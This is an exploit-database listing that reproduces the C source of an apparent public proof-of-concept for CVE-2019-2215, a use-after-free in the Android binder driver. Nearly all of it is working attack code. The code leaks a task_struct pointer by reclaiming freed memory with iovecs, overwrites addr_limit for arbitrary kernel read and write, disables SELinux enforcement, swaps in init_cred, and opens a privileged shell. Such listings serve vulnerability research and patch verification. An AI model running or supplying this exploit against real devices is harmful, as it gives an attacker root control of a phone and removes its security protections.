Exploit database

GH-ebce8ee73b3df08af9a8bef03c3ee506

byte-master-101/cve-2019-2215

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-2215

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
byte-master-101/cve-2019-2215Revision 98fd8ed825bf

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.c

Suggested starting fileC · 14,594 bytes
#include "exploit.h"

//////////////////////
// Global Variables //
//////////////////////
void *dummyPage = nullptr;
void *taskStruct = nullptr;
int functionFD[2] = { -1, -1 };
int kernelPipeFD[2] = { -1, -1 };
int binderFD = -1, epollFD = -1;
void* kernelBase = nullptr;

//////////////////////////
// Function Definitions //
//////////////////////////
void openShell();

inline void closeFD(int*);
void allocateBinder();
void freeFileDescriptors();
void closeKernelPipe();
bool kernelCopy(void*, void*, int);

bool allocateDummyPage();
bool leakTaskStruct();
bool getArbitraryRW();
bool updateCredStruct();
bool disableSELinux();
bool cleanup();

///////////////
// Main Code //
///////////////
struct operation
{
    void (*before)(void);
    bool (*func)(void);
    void (*after)(void);
    const char *msgBegin;
    const char *msgFailure;
    const char *msgSuccess;
};

const struct operation operations[] = {
    {
        nullptr,
        allocateDummyPage,
        nullptr,
        "Allocating 4Gb aligned page...",
        "Coundn't allocate page",
        "Page allocated successfully"
    },
    {
        allocateBinder,
        leakTaskStruct,
        freeFileDescriptors,
        "Leaking task_struct pointer...",
        "Coundn't leak task_struct pointer",
        "Leaked task_struct pointer successfully"
    },
    {
        allocateBinder,
        getArbitraryRW,
        freeFileDescriptors,
        "Getting arbitrary Read-Write permissions...",
        "Coundn't get arbitrary Read-Write permissions",
        "Got arbitrary Read-Write permissions successfully"
    },
    {
        nullptr,
        disableSELinux,
        nullptr,
        "Setting SELinux to permissive mode...",
        "Coundn't set SELinux to permissive mode",
        "Set SELinux to permissive mode successfully"
    },
    {
        nullptr,
        updateCredStruct,
        closeKernelPipe,
        "Updating kernel-space cred structure...",
        "Coundn't update kernel-space cred structure",
        "Updated kernel-space cred structure successfully"
    }
};

int main()
{
    // TODO fix gdb
    int trials = 0;
    for (size_t i = 0; i < sizeof(operations)/sizeof(struct operation); i++)
    {
        struct operation opt = operations[i];
        INFO("%s", opt.msgBegin);
        tabs++;
        if(opt.before) (*opt.before)();
        bool res = (*opt.func)();
        if(opt.after) (*opt.after)();
        tabs--;

        if(res)
        {
            SUCCESS("%s", opt.msgSuccess);
            sleep(SUCCESS_WAIT);
            trials = 0;
            continue;
        }
        
        NORET_ERR("%s", opt.msgFailure);
        trials++;
        if(trials > MAX_TRIALS)
        {
            fprintf(stderr, "\n%sExploitation Failed...%s\n", KRED, KNRM);
            return -1;
        }
        printf(" %sPerforming retry (%d/%d) after %d seconds%s\n", KMAG, trials, MAX_TRIALS, RETRY_WAIT, KNRM);
        sleep(RETRY_WAIT);
        
        i--;
        wait(nullptr);
    }

    openShell();
    return 0;
}

void openShell()
{
    printf("\n%sExploitation Successful! Opening Privileged Shell...%s\n", KGRN, KNRM);
    system("/bin/sh -i");
    printf("\n%sExiting Privileged Shell...%s\n", KYEL, KNRM);
}

//////////////////////
// Helper Functions //
//////////////////////
inline void closeFD(int *file)
{
    if(*file != -1)
    {
        close(*file);
        *file = -1;
    }
}

void allocateBinder()
{
    INFO("%sAllocating binder and epoll file descriptors%s", KBLU, KNRM);
    binderFD = open("/dev/binder", O_RDONLY);
    epollFD = epoll_create(1);
}

void freeFileDescriptors()
{
    INFO("%sClosing binder and epoll file descriptors%s", KBLU, KNRM);
    closeFD(&binderFD);
    closeFD(&epollFD);

    // Cleanup
    INFO("%sClosing any file descriptors allocated by the function%s", KBLU, KNRM);
    closeFD(&functionFD[0]);
    closeFD(&functionFD[1]);
}

void closeKernelPipe()
{
    INFO("%sClosing kernel R/W pipe%s", KBLU, KNRM);
    closeFD(&kernelPipeFD[0]);
    closeFD(&kernelPipeFD[1]);
}

bool kernelCopy(void* src, void* dst, int size)
{
    if(write(kernelPipeFD[1], src, size) != size)
        ERR("Write from source to pipe failed");
    
    if(read(kernelPipeFD[0], dst, size) != size)
        ERR("Write from pipe to destination failed");
    
    return true;
}

//////////////////////
// Caller Functions //
//////////////////////
bool allocateDummyPage()
{
    INFO("Allocating page");
    dummyPage = mmap(
        (void *) (1ul << 32),
        IOVEC_SIZE,
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS,
        -1,
        0
    );

    if(!dummyPage)
        ERR("Allocating page failed");

    INFO("Filling page with 'A's");
    memset(dummyPage, 'A', IOVEC_SIZE);

    INFO("Dummy page pointer: %p", dummyPage);

    return true;
}

bool leakTaskStruct()
{
    struct epoll_event epollEvent = {.events = EPOLLIN};

    /////////////////
    // Create Pipe //
    /////////////////
    INFO("Creating Pipe");
    int pipeFD[2];
    if(pipe(pipeFD) < 0)
        ERR("Pipe creation failed");
    memcpy(functionFD, pipeFD, sizeof(pipeFD)); // Mark it to be closed
    
    if(fcntl(pipeFD[0], F_SETPIPE_SZ, IOVEC_SIZE) < 0)
    {
        ERR("Changing pipe size failed");
    }

    ///////////////////
    // Create IOVECs //
    ///////////////////
    INFO("Constructing IOVEC stack");
    struct iovec iovecs[IOVECS_LEN];
    for (size_t i = 0; i < IOVECS_LEN; i++)
    {
        iovecs[i].iov_base = 0;
        iovecs[i].iov_len = 0;
    }

    iovecs[10].iov_base = dummyPage;
    iovecs[10].iov_len = IOVEC_SIZE;
    iovecs[11].iov_base = (void*)DEADBEEF;
    iovecs[11].iov_len = IOVEC_SIZE;

    /////////////////////////////////////////////////////
    // Overwrite IOVEC Base Address From Child Process //
    /////////////////////////////////////////////////////
    static void* pointerBuf[IOVEC_SIZE/sizeof(void*)];
    INFO("Forking child process");
    int pid = fork();
    if(pid < 0) ERR("Syscall 'fork' failed");
    if(pid == 0)
    {
        sleep(RACE_CONDITION_WAIT);

        // Trigger the unlink operation
        INFO("%sCHILD%s Triggering unlink", KCYN, KNRM);
        epoll_ctl(epollFD, EPOLL_CTL_DEL, binderFD, &epollEvent);

        // Read first iovec to cause the parent process to continue reading data
        INFO("%sCHILD%s Reading %d 'A's from pipe", KCYN, KNRM, IOVEC_SIZE);
        if(read(pipeFD[0], pointerBuf, IOVEC_SIZE) != IOVEC_SIZE)
            ERR_CHILD("%sCHILD%s Syscall 'read' failed", KCYN, KNRM);

        INFO("%sCHILD%s Exiting", KCYN, KNRM);
        exit(0);
    }

    //////////////////////////
    // Create Binder Thread //
    //////////////////////////
    INFO("Allocating and linking binder_thread structure");
    epoll_ctl(epollFD, EPOLL_CTL_ADD, binderFD, &epollEvent);

    /////////////////////////////////////////
    // Overwrite binder_thread With IOVECs //
    /////////////////////////////////////////
    INFO("Freeing binder_thread structure");
    INFO("Reallocating binder_thread structure as IOVECs"); // Didn't put this after the BINDER_THREAD_EXIT ioctl because it causes issues
    ioctl(binderFD, BINDER_THREAD_EXIT, NULL);
    ssize_t writevCount = writev(pipeFD[1], iovecs, IOVECS_LEN);

    wait(nullptr); // Make sure the child exits

    if(writevCount < 0)
    {
        kill(pid, SIGQUIT);
        ERR("Syscall 'writev' failed");
    }
    if(writevCount != IOVEC_SIZE*2)
    {
        kill(pid, SIGQUIT);
        ERR("Syscall 'writev' returned %zu instead of %d", writevCount, IOVEC_SIZE*2);
    }

    /////////////////////////////
    // Read Leaked task_struct //
    /////////////////////////////
    INFO("Reading leaked task_struct pointer");
    if(read(pipeFD[0], pointerBuf, IOVEC_SIZE) != IOVEC_SIZE)
        ERR("Syscall 'read' failed");

    // You can use this for debugging
    // for (size_t i = 0; i < sizeof(pointerBuf)/sizeof(void*); i++)
    //     printf("[%zu] %p\n", i, pointerBuf[i]);
    taskStruct = pointerBuf[29];
    INFO("Leaked task_struct pointer: %p", taskStruct);

    return true;
}

bool getArbitraryRW()
{
    struct epoll_event epollEvent = {.events = EPOLLIN};

    ///////////////////
    // Create Socket //
    ///////////////////
    INFO("Creating socket");
    int sockFD[2];
    if(socketpair(AF_UNIX, SOCK_STREAM, 0, sockFD) < 0)
        ERR("Socket creation failed");
    memcpy(functionFD, sockFD, sizeof(sockFD)); // Mark it to be closed
    
    INFO("Writing junk data to socket");
    const char junkData[] = {0x41};
    if(write(sockFD[1], junkData, 1) < 0)
        ERR("Writing junk data to socket failed");

    /////////////////////////////
    // Create IOVECs & Message //
    /////////////////////////////
    INFO("Constructing IOVEC stack");
    struct iovec iovecs[IOVECS_LEN];
    for (size_t i = 0; i < IOVECS_LEN; i++)
    {
        iovecs[i].iov_base = 0;
        iovecs[i].iov_len = 0;
    }

    iovecs[10].iov_base = dummyPage;            // 0xa0 starts after this
    iovecs[10].iov_len = 1;                     // overwritten with 0xa0 address
    iovecs[11].iov_base = (void*)DEADBEEF;  // overwritten with 0xa0 address
    iovecs[11].iov_len = 0x8 * 4;
    iovecs[12].iov_base = (void*)DEADBEEF;  // overwritten with 0xa0 address
    iovecs[12].iov_len = 0x8;
    int expectedIovecLen = iovecs[10].iov_len + iovecs[11].iov_len + iovecs[12].iov_len;

    INFO("Crafting socket input data");
    const unsigned long socketData[] = {

        // Data passed to IOVEC 11 //
        (unsigned long)iovecs[10].iov_len,                      // iovecs[10].iov_len   // No Change
        (unsigned long)iovecs[11].iov_base,                     // iovecs[11].iov_base  // No Change
        (unsigned long)iovecs[11].iov_len,                      // iovecs[11].iov_len   // No Change
        (unsigned long)((char*)taskStruct + ADDR_LIMIT_OFFSET), // iovecs[12].iov_base  // The absolute address of addr_limit
        
        // Data passed to IOVEC 12 //
        ~1ul                                                    // addr_limit value     // 0xFFFFFFFFFFFFFFFE
    };

    INFO("Creating message header object");
    struct msghdr message;
    memset(&message, 0, sizeof(message));
    message.msg_iov = iovecs;
    message.msg_iovlen = IOVECS_LEN;

    /////////////////////////////////////////////////////
    // Overwrite IOVEC Base Address From Child Process //
    /////////////////////////////////////////////////////
    INFO("Forking child process");
    int pid = fork();
    if(pid < 0) ERR("Syscall 'fork' failed");
    if(pid == 0)
    {
        sleep(RACE_CONDITION_WAIT);

        // Trigger the unlink operation
        INFO("%sCHILD%s Triggering unlink", KCYN, KNRM);
        epoll_ctl(epollFD, EPOLL_CTL_DEL, binderFD, &epollEvent);

        // Read first iovec to cause the parent process to continue reading data
        INFO("%sCHILD%s Reading %d 'A's from pipe", KCYN, KNRM, IOVEC_SIZE);
        if(write(sockFD[1], socketData, sizeof(socketData)) != sizeof(socketData))
            ERR_CHILD("%sCHILD%s Syscall 'read' failed", KCYN, KNRM);

        INFO("%sCHILD%s Exiting", KCYN, KNRM);
        exit(0);
    }

    //////////////////////////
    // Create Binder Thread //
    //////////////////////////
    INFO("Allocating and linking binder_thread structure");
    epoll_ctl(epollFD, EPOLL_CTL_ADD, binderFD, &epollEvent);
    
    /////////////////////////////////////////
    // Overwrite binder_thread With IOVECs //
    /////////////////////////////////////////
    INFO("Freeing binder_thread structure");
    INFO("Reallocating binder_thread structure as IOVECs"); // Didn't put this after the BINDER_THREAD_EXIT ioctl because it causes issues
    ioctl(binderFD, BINDER_THREAD_EXIT, NULL);
    ssize_t recvmsgCount = recvmsg(sockFD[0], &message, MSG_WAITALL);

    wait(nullptr); // Make sure the child exits

    if(recvmsgCount < 0)
        ERR("Syscall 'recvmsg' failed");
    if(recvmsgCount != expectedIovecLen)
        ERR("Syscall 'recvmsg' returned %zu instead of %d", recvmsgCount, expectedIovecLen);

    //////////////////////////
    // Verify Arbitrary R/W //
    //////////////////////////
    INFO("Verifying arbitrary R/W vector");
    INFO("Opening kernel R/W pipe");
    if(pipe(kernelPipeFD) < 0)
        ERR("Kernel pipe creation failed");

    int actualPid = getpid();
    int copiedPid = 0;
    if(!READ_FROM_KERNEL(copiedPid, (char*)taskStruct+PID_OFFSET))
        ERR("Copying pid from kernel-space failed");

    if(copiedPid != actualPid)
        ERR("PID %d in kernel-space not equal the the actual PID %d", copiedPid, actualPid);

    INFO("PID %d verified", copiedPid);

    return true;
}

bool updateCredStruct()
{
    INFO("Copying nsproxy pointer from kernel-space");
    void* nsproxyPtr = 0;
    if(!READ_FROM_KERNEL(nsproxyPtr, (char*)taskStruct+NSPROXY_OFFSET))
        ERR("Copying nsproxy pointer from kernel-space failed");

    INFO("init_nsproxy structure address: %p", nsproxyPtr);

    kernelBase = (char*)nsproxyPtr - KERNEL_OFFSET(INIT_NSPROXY);
    INFO("Kernel base address: %p", kernelBase);

    void* initCred = (char*)kernelBase + KERNEL_OFFSET(INIT_CRED);
    INFO("init_cred structure address: %p", initCred);

    int usage = 0;
    if(!READ_FROM_KERNEL(usage, initCred))
        ERR("Copying usage counter from kernel-space failed");

    INFO("init_cred usage count: 0x%x", usage);
    usage++;

    INFO("Setting init_cred usage count to: 0x%x", usage);
    if(!WRITE_TO_KERNEL(usage, initCred))
        ERR("Copying new usage count to kernel-space failed");

    INFO("Setting task_struct credentials to init_cred");
    void* creds[] = { initCred, initCred };
    if(!WRITE_TO_KERNEL(creds, (char*)taskStruct+REAL_CRED_OFFSET))
        ERR("Copying init_cred pointer to kernel-space failed");

    INFO("New process UID: %d", getuid());
    return true;
}

bool disableSELinux()
{
    void* selinuxPtr = (char*)KERNEL_BASE + KERNEL_OFFSET(SELINUX_ENFORCING);
    INFO("SELinux enforcing flag located at %p", selinuxPtr);

    int selinuxEnforcing = 0;
    if(!READ_FROM_KERNEL(selinuxEnforcing, selinuxPtr))
        ERR("Reading the SELinux enforcing flag from kernel failed");

    if (selinuxEnforcing == 0) {
        INFO("SELinux enforcing flag already set to zero (permissive mode)");
        return true;
    }

    INFO("Setting SELinux enforcing flag to zero (permissive mode)");
    selinuxEnforcing = 0;
    if(!WRITE_TO_KERNEL(selinuxEnforcing, selinuxPtr))
        ERR("Writing the SELinux enforcing flag to kernel failed");

    return true;
}